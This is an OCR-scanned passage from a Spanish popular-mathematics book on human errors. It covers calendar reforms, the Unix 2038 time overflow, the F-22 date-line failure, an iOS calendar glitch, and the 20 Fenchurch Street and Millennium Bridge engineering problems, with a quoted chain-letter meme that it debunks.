cambid, pero sin ninguna mencion directa al papa; simplemente se refirieron
de forma indirecta a «un método para corregir el calendario».

Inglaterra (que por entonces aun incluia algunas —pocas— partes de
Norteamérica) cambié de calendario en 1752, reajustando sus fechas
eliminando once dias de septiembre. De ese modo, al 2 de septiembre de 1752
le sigui6 el 14 de septiembre de 1752. A pesar de lo que el lector pueda leer
en internet, nadie se quej6 por haber perdido once dias de sus vidas y nadie se
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pased con una pancarta que dijera: «Devolvednos nuestros once dias». Estoy
seguro de una cosa: visité la Biblioteca Britanica en Londres, la cual alberga
una copia de cada periodico publicado en Inglaterra, y busqué articulos de la
época. No aparecia en ellos queja alguna, solo anuncios en los que se vendian
calendarios nuevos. Los fabricantes de calendarios estaban viviendo su época
dorada.

El mito de que la gente protestd contra el cambio de calendario parece
proceder de debates politicos antes de las elecciones de 1754. El partido de la
oposicion ataco todas las medidas que habia adoptado el otro partido durante
su mandato, incluyendo el cambio de calendario y el hecho de haberles
robado once dias. Este suceso fue inmortalizado en La campafia electoral,
una serie de pinturas al oleo de William Hogarth. Los unicos que
manifestaron alguna preocupacion fueron personas que no querian pagar unos
impuestos anuales para un afo de 365 dias que en realidad tuvo menos. Una
queja legitima, sin duda.

Rusia no cambié de calendario hasta 1918, afio cuyo mes de febrero
empezo el dia 14 en lugar del 1 para asi reajustarse con todos los demas que
utilizaban el calendario gregoriano. Este hecho debi6 de pillar a mas de uno
por sorpresa. Imagine que se despierta pensando que le quedan dos semanas
para San Valentin y resulta que ese dia ya ha llegado. Este nuevo calendario
significa que los rusos habrian llegado a tiempo a las Olimpiadas de 1920, si
hubieran sido invitados, pero en ese espacio de tiempo, Rusia se habia
convertido en la Rusia Soviética y no fue invitada por razones politicas. A los
siguientes Juegos Olimpicos si que acudieron los deportistas rusos. Se
celebraron en 1952 en Helsinki, donde por fin consiguieron una medalla de
oro en tiro.

A pesar de todas estas mejoras, nuestro calendario gregoriano actual sigue
sin ser perfecto. Una media de 365,2425 dias por afio es aceptable, pero no es
exactamente 365,2421875. Seguimos desincronizados veintisiete segundos
por afio. Esto significa que nuestro calendario gregoriano actual se habra
alejado un dia entero cada 3.213 afios. Las estaciones aun se invertiran una
vez cada medio millon de afios. Y el lector se alarmara al saber que...
jtodavia no existe ningun plan para arreglar este desvio!

De hecho, con escalas de tiempo tan largas, tenemos otros problemas de
los que preocuparnos. A medida que el eje de rotacion de la Tierra se va
moviendo, la trayectoria orbital de la Tierra también se modifica. La
trayectoria que sigue es una elipse, y los puntos mas cercano y lejano dan una
vuelta alrededor del sistema solar aproximadamente una vez cada 112.000

Pagina 24



afios. Pero, incluso entonces, el tiron gravitacional de otros planetas puede
cambiarlo. El sistema solar es un auténtico lio.

Pero la astronomia le dio a Julio César una ultima alegria. La unidad de
afio luz, es decir, la distancia que recorre la luz en un afio (en el vacio), se
especifica utilizando el afio juliano de 365,25 dias. Por lo que se puede decir
que medimos nuestro cosmos actual utilizando una unidad definida en parte
por un antiguo romano.

El dia en el que el tiempo se detendra

A las 3.14 h del martes 19 de enero de 2038, una gran parte de nuestros
modernos microprocesadores y ordenadores dejara de funcionar. Y eso sera
debido al modo en el que almacenan el tiempo y la fecha. Los ordenadores
personales ya tienen bastantes problemas haciendo un seguimiento de cuantos
segundos han pasado mientras estan encendidos; las cosas empeoran cuando
también necesitan mantenerse al dia con la fecha. El control del tiempo les ha
supuesto a los ordenadores los mismos problemas que suponia mantener
sincronizado un calendario con el planeta, con el afiadido de las limitaciones
modernas de la codificacion binaria.

Cuando los primeros precursores del internet moderno empezaron a estar
disponibles a principios de la década de 1970, era necesario disponer de un
sistema de control del tiempo que fuera consistente. El Instituto de Ingenieria
Eléctrica y Electronica cre6 un comité de especialistas y, en 1971, sugirieron
que todos los sistemas informaticos podrian contar las fracciones
sexagesimales de un segundo a partir del inicio de 1971. La energia eléctrica
que alimentaba a los ordenadores ya llegaba a una frecuencia de 60 hercios,
por lo que se simplificaban las cosas al utilizar esta frecuencia dentro del
sistema. Muy astutos. Excepto que un sistema basado en 60 hercios
sobrepasaria el espacio disponible en un niumero binario de 32 digitos en poco
mas de dos afios y tres meses. Ya no parece una medida tan inteligente.

Por lo que el sistema se recalibr6 para contar el numero de segundos
enteros desde el inicio de 1970. Este nimero se almacen6 como numero
binario signado de 32 digitos, lo que permitia un maximo de 2.147.483.647
segundos: un total de mas de sesenta y ocho afios contando desde 1970. Y
esto lo decidieron asi miembros de la generacion que en esos sesenta y ocho
afios previos a 1970 habian visto a la humanidad avanzar desde la invencién
de la primera aeronave propulsada de los hermanos Wright a humanos
bailando sobre la superficie de la Luna. Estaban convencidos de que en el afio
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2038 los ordenadores no se parecerian en nada a los de su época y ya no
utilizarian el tiempo Unix.

Y, sin embargo, aqui estamos. Hemos recorrido mas de la mitad de ese
camino y seguimos con el mismo sistema. El reloj esta haciendo tictac
(literalmente).

Sin duda, los ordenadores han cambiado tanto que no se parecen en nada a
los de esa época, pero en sus entrafias se sigue utilizando el tiempo Unix. Si el
lector esta utilizando cualquier variante de dispositivo Linux o un Mac, alli
esta, en la mitad inferior del sistema operativo, justo debajo de la GUI. Si
tiene un Mac a su alcance, abra la aplicaciéon Terminal, que es el acceso al
funcionamiento real de su ordenador. Escriba date +%s y pulse intro. Justo
enfrente de usted aparece el nimero de segundos que han pasado desde el 1
de enero de 1970.

Si esta leyendo esto antes del miércoles 18 de mayo de 2033, aun no ha
llegado a los 2 millardos de segundos. Menuda fiesta sera. Por desgracia, en
mi zona horaria, seran mas o menos las 4.30 h. Recuerdo la noche de juerga
que pasé el 13 de febrero de 2009 junto a algunos compafieros, para celebrar
que habiamos llegado al segundo 1.234.567.890, justo después de las 23.31 h.
Jon, mi amigo programador, habia escrito un programa que nos daba la cuenta
atrds exacta; todos los demas clientes del bar estaban muy confundidos al
pensar que estabamos celebrando el dia de San Valentin una hora y media
antes de lo que tocaba.

Celebraciones aparte, ahora hemos sobrepasado de sobra la mitad de la
cuenta atras que nos conducira a la destruccién. Después de 2.147.483.647
segundos, todo se detendra. Microsoft Windows tiene su propio sistema para
controlar el tiempo, pero MacOS esta desarrollado directamente sobre Unix.
Y mas importante ain, muchos procesadores informaticos importantes que se
utilizan en un montén de dispositivos, desde servidores de internet hasta
lavadoras, estan funcionando utilizando algin descendiente de Unix. Son
vulnerables al efecto 2038.

No culpo a las personas que pusieron en marcha el tiempo Unix. Estaban
trabajando con aquello que tenian a su disposicion en aquella época. Los
ingenieros de la década de 1970 pensaron que los que vendrian después de
ellos arreglarian los problemas que ellos estaban causando (tipico de los baby-
boomers). Y, para ser justos, sesenta y ocho afios son muchos afios. La
primera edicion de este libro se publico en 2019, y en algunos momentos
pienso que he de mencionarlo para aquellos que lo lean en el futuro. Puede
que incluya frases como «en el momento en el que escribo esto» o que
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estructure cuidadosamente el lenguaje para que este deje abierta la posibilidad
de que las cosas cambien y progresen en el futuro para que asi el libro no
quede completamente desfasado. Puede que usted esté leyendo esto después
de alcanzar los 2 millardos de segundos en el afio 2033; lo tengo en cuenta.

Ya se han dado algunos pasos para encontrar una solucion. Todos los
procesadores que utilizan numeros binarios de 32 digitos son conocidos por
defecto como sistemas de 32 bits. Cuando alguien se compra un portatil,
puede que se pare a comprobar cual es su arquitectura, pero los Mac llevan
utilizando un sistema de 64 bits desde hace casi una década y la mayoria de
los servidores informaticos también se han pasado a 64 bits. Resulta molesto
que algunos sistemas de 64 bits sigan controlando el tiempo como un nimero
signado de 32 bits, por lo que todavia pueden jugar con sus amigos
ordenadores antiguos, pero, en la mayoria de los casos, si compramos un
sistema de 64 bits sera capaz de controlar el paso del tiempo durante bastante
mas tiempo.

El valor mas grande que podemos almacenar en un numero signado de 64
bits es 9.223.372.036.854.775.807, y ese numero de segundos equivale a
292,3 millardos de afios. Es en momentos como este que la edad del universo
pasa a ser una unidad de medida util: el tiempo Unix de 64 bits durara 21
veces la edad actual del universo desde ahora. Hasta, y suponiendo que por
entonces no utilicemos otra actualizacion, el 4 de diciembre del afio
292277026596 e. c. todos los ordenadores dejaran de funcionar. Sera un
domingo.

Una vez que vivamos en un mundo que sea completamente de 64 bits,
podremos decir que estamos a salvo. La pregunta es: jactualizaremos la
infinidad de microprocesadores presentes en nuestras vidas antes del 2038?
Necesitamos, o nuevos procesadores o un parche que fuerce a los antiguos a
utilizar un numero inusualmente grande para almacenar el tiempo.

Esta es una lista de todos los aparatos a los que les he tenido que
actualizar su software recientemente: lamparas, un televisor, el termostato de
mi casa y el reproductor multimedia que se enchufa a mi televisor. Estoy
bastante seguro de que todos ellos son sistemas de 32 bits. ;Se actualizaran a
tiempo? Dada mi obsesion con tener el firmware al dia, seguro que si. Pero
habr& un monton de sistemas que no se actualizaran. También hay
procesadores en mi lavadora, lavaplatos y en el coche, y no tengo ni idea de
como actualizarlos.

Es facil hablar de esto como si se tratase de una segunda llegada del
efecto 2000, el efecto del milenio que nunca llegé a ocurrir. Ese era un caso
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de software de mas alto nivel que almacenaba el afio como un numero de dos
digitos que dejaria de funcionar después de llegar a 99. Gracia al esfuerzo de
mucha gente, practicamente todos los dispositivos fueron actualizados. Pero
el hecho de haber evitado un desastre no significa que este no haya sido una
seria amenaza. Es un riesgo bajar los brazos porque el efecto 2000 se haya
llevado tan bien. El efecto 2038 requerira actualizar cédigos informaticos
mucho mas fundamentales y, en algunos casos, los propios ordenadores.

4 )

Véalo usted mismo

Si quiere ver como funciona el efecto 2038, busque un iPhone. Puede que lo que
voy a explicar funcione en otros méviles, o puede que un dia actualicen el iPhone
para arreglar este problema. Pero, de momento, el cronémetro incorporado
aprovecha el reloj interno y guarda su valor como un ntimero signado de 32 bits. La
dependencia del reloj provoca que, si pone el cronémetro en marcha y luego
modifica la hora hacia atrds, el tiempo transcurrido en el cronémetro saltara
sibitamente hacia delante. Modificando la hora y la fecha adelante y atrds en su
teléfono, usted puede incrementar el tiempo del cronémetro a un ritmo alarmante.
Hasta que alcance el limite de 64 bits y se cuelgue.

o J

Fechas y F-22

¢Cuan dificil puede resultar saber qué fecha es hoy? ;O sera? Puedo afirmar
con seguridad que el tiempo Unix de 64 bits funcionara el 4 de diciembre del
292.277.026.596 e. c. porque el calendario gregoriano es muy predecible. A
corto plazo, es muy facil y cubre un ciclo cada pocos afios. Permitiendo los
dos tipos de afios (bisiesto y normal) y los siete dias posibles en los que puede
empezar un afio, existen tan solo catorce calendarios posibles. Cuando fui a
comprar un calendario de 2019 (afio no bisiesto que comienza en martes),
sabia que era el mismo que el del afio 2013, por lo que podia comprar uno de
ese afio a un precio rebajado, pero, por su atractivo retro, me quedé con uno
de 1985.

Si le importa la secuencia de afios, el calendario gregoriano completa un
ciclo completo cada cuatrocientos afios después de haber pasado por todos los
afios bisiestos posibles. Por lo que el dia de hoy es exactamente el mismo dia
que hace cuatrocientos afios. El lector podria pensar que es facil de programar
en un ordenador. Y lo es, si el ordenador se queda quietecito. Pero si este se
desplaza, las cosas se complican.
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Error que se puede encontrar en internet

iiiBUENA SUERTE A TODOS!!! Este afio, diciembre tiene 5
lunes, 5 sabados y 5 domingos. Esto ocurre una vez cada 823 afios.
Eso se llama bolsa de dinero. Asi que compartalo y el dinero le
llegara en 4 dias. Basado en el Feng Shui chino. Aquel que no lo
comparta se quedara sin dinero. Compartalo en menos de 11
minutos después de leerlo. No hace dafio a nadie, asi que yo lo hice.
SOLO POR DIVERSION.

Este es uno de los memes habituales de internet que afirman que algo sucede solo
cada 823 afos. No tengo ni idea de donde han sacado el ntimero 823. Pero, por
alguna razon, internet estd plagado de afirmaciones que aseguran que el afio actual
es especial y que lo que hace que lo sea no se repetira hasta dentro de 823 afios.

Ahora puede responder tranquilamente y decir que en el calendario gregoriano nada
puede suceder con una frecuencia menor que una vez cada cuatrocientos afios.
SOLO POR DIVERSION.

Y, dado que un mes solo puede tener cuatro posibles duraciones y puede empezar
en siete dias diferentes, existen realmente solo veintiocho disposiciones posibles
para los dias de un mes. Cosas como estas si que pasan solo cada pocos afios. (Y no
es algo que esté basado en el Feng Shui chino.)

o J

En diciembre de 2005, entro en servicio el primer avion de combate F-22
Raptor. Citando a las Fuerzas Aéreas de Estados Unidos (USAF por sus siglas
en inglés), «el F-22 es un avion de combate multimision unico que combina
sigilo, supercrucero, maniobrabilidad avanzada y avionica integrada que lo
convierten en el avion de combate mas capaz del mundo». Pero, para ser
justos, esto lo extraje de la presentacion del presupuesto del F-22 con el que
las fuerzas aéreas estaban intentando justificar su gasto. La USAF hizo
numeros y calculé que, en 2009, el coste de cada F-22 era de 150.389.000
dolares.

Es cierto que el F-22 se caracterizaba por tener avionica integrada. En los
aviones antiguos, el piloto estaba pilotando fisicamente el avién con controles
que utilizaban cables para levantar y bajar alerones, y asi con todo. No era el
caso del F-22. Todo se hace a través de un ordenador. ;Como, si no, puedes
conseguir una maniobrabilidad avanzada y habilidad en el combate? Los
ordenadores son el camino a seguir. Pero, al igual que ocurre con los aviones,
los ordenadores son buenos y bonitos hasta que se estrellan.
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En febrero de 2007, seis F-22 estaban volando de Japén a Hawai cuando
todos sus sistemas dejaron de funcionar de repente. Todos los sistemas de
navegacion estaban desconectados, los sistemas que informaban de la
cantidad que quedaba de combustible dejaron de funcionar y lo mismo le
ocurrio a una parte de los sistemas de comunicacion. No fue debido al ataque
de un enemigo o a un astuto sabotaje. Simplemente, el avion habia
sobrevolado la linea internacional del cambio de fecha.

A todo el mundo le gusta que el mediodia sea cuando el sol cae
directamente sobre sus cabezas: el momento en el que una parte de la Tierra
esta seflalando directamente al Sol. La Tierra gira hacia el este, por lo que,
cuando es mediodia para nosotros, todo el mundo situado al este ya ha pasado
su mediodia (y ahora ya ha sobrepasado al Sol), mientras que todos aquellos
situados mas al oeste de nuestra posicion estan esperando su turno para llegar
al sol del mediodia. Esta es la razon por la que, si nos movemos hacia el este,
cada zona horaria aumenta mas o menos en una hora.

Pero, finalmente, eso tiene que parar; no puedes seguir desplazandote en
el tiempo de forma constante mientras viajas hacia el este. Si, por arte de
magia, pudiéramos dar la vuelta al planeta a una velocidad superrapida, no
volveriamos al punto en el que empezamos y descubririamos que es un dia
completo en el futuro. En algin punto hay que encontrarse con el final de un
dia, bien, del dia de ayer. Al pasar sobre la linea internacional del cambio de
fecha, retrocedes (o adelantas) un dia completo en el calendario.

Si le resulta dificil de entender, no se preocupe, no es el tnico. La linea
internacional del cambio de fecha provoca toda clase de confusiones, y quien
fuera el que programé el F-22 debi6 de sufrir lo suyo para solucionarlo. Las
Fuerzas Aéreas de Estados Unidos no han confirmado qué es lo que provocé
ese fallo (solo que lo arreglaron en un plazo maximo de 48 horas), pero
parece ser que el tiempo salto repentinamente un dia y el avidn se «asusto» y
decidioé que apagarlo todo era lo mejor que se podia hacer. Los intentos en
pleno vuelo no tuvieron éxito, por lo que, aunque los aviones todavia podian
volar, los pilotos no podian pilotarlos. Los aviones tuvieron que volver a casa
con dificultades siguiendo a su avién de reabastecimiento.

Ya se trate de un aviéon de combate moderno o de un gobernante de la
antigua Roma: mas tarde o mas temprano, el tiempo nos alcanza a todos.

Calend-obvio
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El programador Nick Day me envid un correo electrénico cuando se percat6 de que
el calendario de los dispositivos iOS parecia que fallaba en 1847. De repente,
febrero tenia 31 dias. Y enero 28. Julio es extraiiamente variable; diciembre habia
desaparecido por completo. Para los afios anteriores a 1848, los encabezados de los
afios habian desaparecido. Si el lector abre el calendario por defecto de un iPhone
en «vista anual», solo necesita un par de segundos deslizando frenéticamente el
dedo hacia abajo para ver esto.
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Pero ;por qué 1847? Hasta donde yo sé, Nick fue la primera persona en darse
cuenta de esto, y no pude encontrar ninguna relacién obvia entre el tiempo Unix y
los nimeros de 32 y 64 bits. Pero tenemos una hip6tesis de trabajo...

Apple tiene mas de un tiempo disponible a su disposicién y en ocasiones utiliza el
tipo de datos CFAbsoluteTime, es decir, el numero de segundos pasados desde el 1
de enero de 2001. Y si un dato de tipo CFAbsoluteTime se almacena como nimero
de 64 bits signado dedicando algunos de los digitos a los decimales (un valor en
coma flotante de doble precision), quedarian tan solo 52 bits de espacio para el
nimero entero de segundos.
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El nimero mas grande que se puede expresar como numero binario de 52 bits es
4.503.599.627.370.495, y si contamos hacia atrds todos esos microsegundos (en
lugar de segundos) desde el 1 de enero de 2001, acabamos el viernes 16 de abril de
1858..., que podria ser la razén por la que se estropea mas o menos en esa fecha...
tal vez. {Bueno, es lo mejor que se nos ha ocurrido!

Si cualquier ingeniero de Apple nos puede proporcionar una respuesta definitiva,
por favor que se ponga en contacto con nosotros.
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Dos

ERRORES EN INGENIERIA

No es necesario que un edificio se caiga para que cuente como error de
ingenieria. La construccion del edificio situado en el nimero 20 de la calle
Fenchurch de Londres estaba a punto de finalizar en 2013 cuando se hizo
evidente un importante fallo de disefio. No tenia nada que ver con la
integridad estructural del edificio; se acabé en 2014 y, a dia de hoy, es un
edificio que funciona perfectamente, y fue vendido en 2017 por una cifra
récord: 1.300 millones de libras. Desde todos los puntos de vista es todo un
éxito. Excepto porque, durante el verano de 2013, el ambiente empezo a
caldearse.

El exterior del edificio fue disefiado por el arquitecto Rafael Vifioly para
que tuviera una curva muy marcada, pero esto implic6 que todos los reflejos
de las ventanas de cristal se convirtieron accidentalmente en un espejo
concavo enorme: una especie de lente gigante en el cielo capaz de concentrar
la luz del sol en un area diminuta. No siempre hace sol en Londres, pero en un
dia bien despejado del verano de 2013, en el que el sol daba de lleno sobre las
ventanas recién acabadas, un rayo calcinador letal atravesé Londres.

De acuerdo, no era algo tan malo. Pero estaba generando temperaturas de
alrededor de 90 °C, suficientes para chamuscar el felpudo de una peluqueria
cercana. Un coche aparcado se derritio un poco y alguien aseguré que le
quemo su limon (no se trata de jerga londinense; se trataba de un limoén real).
Un periodista local con un don para el drama, aprovecho la oportunidad para
freir algunos huevos colocando la sartén en el punto mas caliente.

Aunque habia una solucion bastante sencilla: se afiadié una visera al
edificio para bloquear los rayos del sol antes de que se pudieran concentrar
sobre el limén de alguien. Y no es que esta extrafia alineacion de superficies
reflectoras se pudiera haber pronosticado. Nunca habia ocurrido algo asi con
un edificio. Al menos, no desde que ocurri6 lo mismo en el hotel Vdara de
Las Vegas, en 2010. La fachada curva de cristal del hotel concentraba los
rayos del sol y quemo la piel de los huéspedes que descansaban en la piscina.

Pero ;podemos dar por sentado de manera razonable que el arquitecto del
edificio situado en el 20 de la calle Fenchurch sabia algo de lo que ocurri6 en
un lejano hotel de Las Vegas? Bueno, el hotel Vdara también fue disefiado
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por Rafael Vifioly, por lo que es l6gico esperar que alguna informacion fluyé
entre ambos proyectos. Todo lo que sabemos es que Vifoly fue contratado
especificamente porque los propietarios querian un edificio con una fachada
curva y reluciente.

Incluso aunque no hubiera pasado algo similar con un edificio anterior, las
matematicas que tienen que ver con el enfoque de los rayos de luz son
bastante accesibles. La forma de una parabola, esa curva omnipresente que
aparecia siempre que teniamos que trazar una grafica de cualquier férmula del
tipo y=x? en la escuela, concentrard todos los rayos de luz paralelos que le
lleguen sobre un tnico punto focal. Las antenas parabolicas tienen forma de
parabola por esta razon; o se puede decir mas bien que son paraboloides, una
clase de parabola 3D.

Si la luz no esta muy bien alineada, una forma lo bastante parabdlica aun
puede dirigir la suficiente cantidad de luz sobre una region lo suficientemente
pequeia para que se note. Existe una escultura en Nottingham, el Sky Mirror,
que es una forma brillante, paraboloide, y una leyenda local asegura que ha
quemado a algunas palomas que pasaba por alli. (Spoiler: probablemente no
es cierto.)

Puentes sobre matematicas turbulentas

Cuando nos fijamos en la relaciéon de la humanidad con los desastres de la
ingenieria, los puentes son el ejemplo perfecto. Llevamos milenios
construyéndolos, y no es tan sencillo como construir una casa o un muro. Hay
muchos mas errores potenciales, y estan, por definicién, flotando en el aire.
En el lado positivo, podemos decir que causan un enorme impacto en las
vidas de las personas que viven en las cercanias, uniendo comunidades que
sin ellos estarian separadas. Con tales beneficios potenciales, los humanos
siempre han intentado ir mas alla del limite de lo que es posible hacer con los
puentes.

Hay muchos ejemplos modernos de puentes que han fallado. Uno famoso
fue el Puente del Milenio de Londres, que fue inaugurado en el afio 2000 y
tuvo que ser cerrado solo dos dias después. Los ingenieros se habian
equivocado al no darse cuenta con sus calculos que la gente que caminara
sobre él provocaria que se balanceara. Con el objetivo de que el puente
tuviera un perfil muy bajo, el puente se habia construido suspendido por los
lados, con los soportes junto a la plataforma y en algunos casos por debajo de
ella.
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La mayoria de los puentes colgantes tienen cables de carga de acero que
cuelgan desde arriba de la zona ttil del puente. Dado que se estuvo buscando
siempre un perfil bajo, los cables de acero del Puente del Milenio solo
descienden 2,3 metros. Asi, en lugar de estar suspendido de una cuerda, como
alguien que desciende de un risco haciendo rapel, las cuerdas se colocaron
tensadas y practicamente rectas, sujetando el puente, funcionando en la
practica mas como una cuerda floja. Las cuerdas de acero tienen que estar
muy tensadas: los cables soportaban una fuerza de tension de unas 2.000
toneladas.

De manera similar a una cuerda de guitarra, cuanta mas tension hay en un
puente, mas facil es que vibre ante frecuencias mas altas. Si bajamos
gradualmente la tension sobre una cuerda de guitarra, la nota que produce es
mas baja, hasta que la cuerda esta tan floja que ya no produce ninguna nota.
El Puente del Milenio se ajustd involuntariamente a mas o menos 1 hercio.
Pero no en la direccion vertical habitual; se tambaleaba de lado a lado.

Hasta el dia de hoy, el Puente del Milenio es conocido por los londinenses
como el puente tambaleante. En Londres, a los edificios importantes se les
suele poner un apodo. Para dirigirte a The Onion («la cebolla») es posible que
tengas que pasar por The Gherkin («el pepinillo») y girar a la izquierda del
Cheese Grater («el rayador de queso»). (Si, todos son apodos de edificios.) El
numero 20 de la calle Fenchurch era el Walkie Talkie, hasta que todo el
mundo cambi6é por unanimidad a The Walkie Scorchie («el walkie
abrasador»). El Puente del Milenio sigue siendo el puente tambaleante,
incluso a pesar de que solo se tambale6 durante dos dias.

Pero me encanta la forma en la que los apodos captan la idea. No es el
puente elastico, aunque seria un nombre pegadizo. Es el puente tambaleante.
El puente no se movié arriba y abajo como una goma elastica; sino que,
inesperadamente, se balance6 de lado a lado. Los ingenieros tienen mucha
experiencia a la hora de impedir que los puentes oscilen arriba y abajo, y
todos los célculos respecto al movimiento vertical fueron muy acertados. Pero
los ingenieros que disefiaron el Puente del Milenio subestimaron la
importancia del movimiento lateral.

La descripcion oficial del problema fue «excitacion lateral sincrénica»
causada por los peatones. Fue la gente que pasaba andando por el puente la
que provoco su tambaleo. Que algo tan grande como el Puente del Milenio
pueda empezar a tambalearse debido a la fuerza bruta es un reto casi
imposible para un grupo de transetintes. Excepto que este puente fue afinado
involuntariamente para que fuera facil. La mayoria de las personas caminan a
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una velocidad de unos dos pasos por segundo, lo que significa que sus
cuerpos se balancean de lado a lado una vez por segundo. Un humano
caminando es, a todos los efectos, una masa que vibra a una frecuencia de 1
hercio, que era el ritmo perfecto para hacer que el puente se tambalease.
Coincidia con una de las frecuencias de resonancia del puente.

Los resonadores van a resonar

Si algo esta en resonancia con nosotros significa que estamos conectados con
esa cosa; estamos «en sintonia». Este uso figurativo de «resonar» aparecio a
finales de la década de 1970 y ha seguido siendo sorprendentemente acorde al
uso literal de «resonar» de un siglo atras. A partir de la palabra en latin
resonare, que mas o menos significa «eco» o «retumbar», en el siglo Xix la
palabra «resonancia» se convirtié en un término cientifico para describir las
vibraciones contagiosas.

El péndulo sirve como analogia de lo que es una resonancia, cuyo
movimiento se describe muchas veces como el de un nifio en un columpio. Si
al lector le toca empujar al nifio en cuestion y simplemente extiende sus
brazos a intervalos aleatorios, la cosa no ira muy bien; golpeara al nifio
cuando este se dirija hacia usted y lo ralentizara tantas veces como le dé un
empujon cuando se aleje, acelerandolo en consecuencia. Incluso un empuje a
un ritmo regular que no se sincronice con el movimiento del columpio hara
que la mayoria de las veces le dé un empujon al aire.

Solo tendra éxito si empuja al ritmo exacto que encaje con el momento en
el que el nifio esta directamente frente a usted y empieza su descenso. Cuando
la sincronizacién de su esfuerzo encaje con la frecuencia a la que se mueve el
columpio, cada empuje afiadira un poquito mas de energia al sistema. Seguira
incrementandose con cada empujon hasta que el nifio se mueva demasiado
rapido para inhalar con facilidad y finalmente dejara de gritar.

En un instrumento musical, la resonancia es esto mismo, aunque a una
escala mucho menor: utilizan la forma en la que una cuerda de una guitarra,
una pieza de madera o incluso aire en el interior de un contenedor vibra miles
de veces por segundo. Tocar la trompeta implica apretar los labios y luego
lanzar una disonancia de frecuencias desordenadas. Pero solo aquellas que
encajan con las frecuencias de resonancia de la cavidad del interior de la
trompeta creceran hasta alcanzar niveles perceptibles. Al cambiar la forma de
la trompeta (mediante las palancas y valvulas adecuadas) se cambia la
frecuencia de resonancia de la cavidad y se amplifica una nota diferente.
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Es lo mismo que ocurre en el interior de cualquier receptor de radio
(incluyendo también las tarjetas de crédito sin contacto). La antena recibe un
montén de frecuencias electromagnéticas diferentes procedentes de sefiales de
television, redes wifi e incluso de alguien que esté recalentando las sobras en
el microondas. La antena se conecta a un resonador electrénico compuesto
por condensadores y bobinas de alambre que sintoniza perfectamente la
frecuencia especifica deseada.

Aunque la resonancia es algo genial en algunas situaciones, los ingenieros
a veces tienen que esforzarse mucho para evitarla tanto en maquinas como en
edificios. Una lavadora es increiblemente molesta durante ese breve momento
en el que la frecuencia de giro esta en armonia con la resonancia del resto de
la maquina: cobra vida por si misma y decide darse un paseo.

La resonancia también puede afectar a los edificios. En julio de 2011 un
centro comercial de treinta y nueve pisos de altura en Corea del Sur tuvo que
ser evacuado porque la resonancia estaba haciendo vibrar el edificio. La gente
que estaba en la ultima planta noté que este empezaba a temblar, como si
alguien hubiera tocado el bajo y subido el volumen al triple. Y ese era
exactamente el problema. Después de que la investigacion oficial descartara
que hubiera sido un terremoto, descubrieron que el culpable fue una clase de
gimnasia del piso doce.

El 5 de julio habian decidido ejercitarse con «The Power», de Snap, y
todos saltaron con mas fuerza de la habitual. ;Pudo el ritmo de «The Power»
entrar en sincronia con una frecuencia de resonancia del edificio? Durante la
investigacion, se metieron de nuevo unas veinte personas en la misma
habitacién para recrear la clase de gimnasia y, en efecto, como dice la
cancion, tuvieron la energia necesaria (The Power). Cuando pusieron la
cancion, el piso treinta y ocho empez6 a temblar diez veces mas de lo
habitual.

Temblores en un plano

La frecuencia de resonancia de un hercio del Puente del Milenio solo
producia oscilaciones en una direccién especifica: de lado a lado. La gente
atravesando el puente en ambas direcciones no deberia ser un problema;
incluso el movimiento lateral hacia delante y hacia atras de un hercio
producido por los peatones no deberia haber sido un problema, ya que lo
normal es que todo el mundo camine de forma no sincronizada. Cada vez que
alguno de ellos diera un paso con su pie derecho, seguro que otra persona
estaria dandolo al mismo tiempo con el izquierdo y todas las fuerzas se
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cancelarian entre si. Esta resonancia lateral solo seria un problema si un
numero suficiente de personas caminara de forma perfectamente sincronizada.

Ese es el origen de la sincronia en la «excitacion lateral sincronica» de los
peatones. En el Puente del Milenio, la gente empez6 a caminar de forma
sincronizada, porque el movimiento del puente influy6 en el ritmo en el que
estaban caminando. Esto provoco un ciclo de retroalimentacion; la gente que
caminaba de forma sincronizada provocaba que el puente se moviera mas, y
el hecho de que el puente se moviera hacia que la gente caminara de forma
sincronizada. Viendo una grabacién de video realizada en junio de 2000 nos
da la impresion de que un 20% de los peatones camina de forma sincronizada,
mas que suficiente para producir la frecuencia de resonancia y hacer que el
centro del puente se balancease unos 7,5 centimetros en cada direccion.

Arreglarlo supuso dos costosos afos de acondicionamiento, tiempo
durante el cual el puente se cerro al publico. Eliminar el temblor costdé 5
millones de libras, ademas del coste original de 18 millones. Una parte de la
dificultad fue romper ese ciclo de retroalimentacion peaton-puente sin
cambiar la estética del puente. Escondidos debajo de la acera y alrededor de la
estructura hay treinta y siete «amortiguadores viscosos lineales» (tanques que
contienen un liquido viscoso con un piston que se mueve en su interior) y
unos cincuenta «amortiguadores dinamicos de masas sintonizadas» (péndulos
en el interior de una caja). Estan disefiados para eliminar energia del
movimiento del puente y amortiguar el ciclo de retroalimentacion de la
resonancia.

Y funciona. Al principio, el movimiento lateral del puente tenia un indice
de amortiguacion por debajo del 1% para frecuencias de resonancia por
debajo de 1,5 hercios. Actualmente la amortiguacion esta entre el 15 y el
20%. Esto significa que se retira la suficiente energia del sistema para cortar
el ciclo de retroalimentacién de raiz. Incluso amortigua las frecuencias
superiores a 3 hercios entre un 5 y un 10%; supongo que eso seria en el caso
de que un montén de gente decidiera pasar corriendo por el puente de forma
simultanea y sincrona. Cuando se reabrio, el Puente del Milenio fue descrito
como «probablemente, la estructura con la amortiguacion pasiva mas
compleja del mundo». Una etiqueta que a la mayoria de nosotros no nos
gustaria que nos adjudicaran.

Asi es como progresa la ingenieria. Antes de lo del Puente del Milenio, las
matematicas de la «excitacion lateral sincronica» ocasionada por los peatones
no se conocian mucho. Una vez arreglado el puente, es una parcela en la que
se ha investigado mucho. Ademas de estudiar las grabaciones desde que se
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abri6 de nuevo, se hicieron pruebas con un dispositivo automatico de
agitacion colocado en el puente. Y grupos de voluntarios caminaron hacia
atras y hacia delante por él.

En una prueba, se hizo caminar sobre el puente cada vez a mas gente de
forma progresiva y se midio cualquier ligero temblor. Mas abajo se puede ver
un grafico en el que se representa el grupo cada vez mayor de transeuntes y la
aceleracion lateral del puente. Cuando eran ya 166 peatones se alcanzo la
masa critica, muy por debajo de los aproximadamente 700 que habia sobre el
puente cuando este se inaugur6. No es el mejor grafico cientifico de la
historia: me pregunto cual sera la unidad de la «aceleracion de la pasarela». Y
mi parte favorita del grafico es que, dado que representa peatones y
aceleracion al mismo tiempo, el eje permite que haya un nimero negativo de
peatones sobre el puente. O, técnicamente, peatones que se mueven hacia
atras en el tiempo. Lo cual, si alguna vez se ha visto atascado detras de un
grupo de turistas que deambulan por Londres, sabra que es realmente posible.

200 —
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Se alcanza el numero critico de peatones —

El puente empieza a oscilar
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No querria ser el 167° peatén sobre el puente.

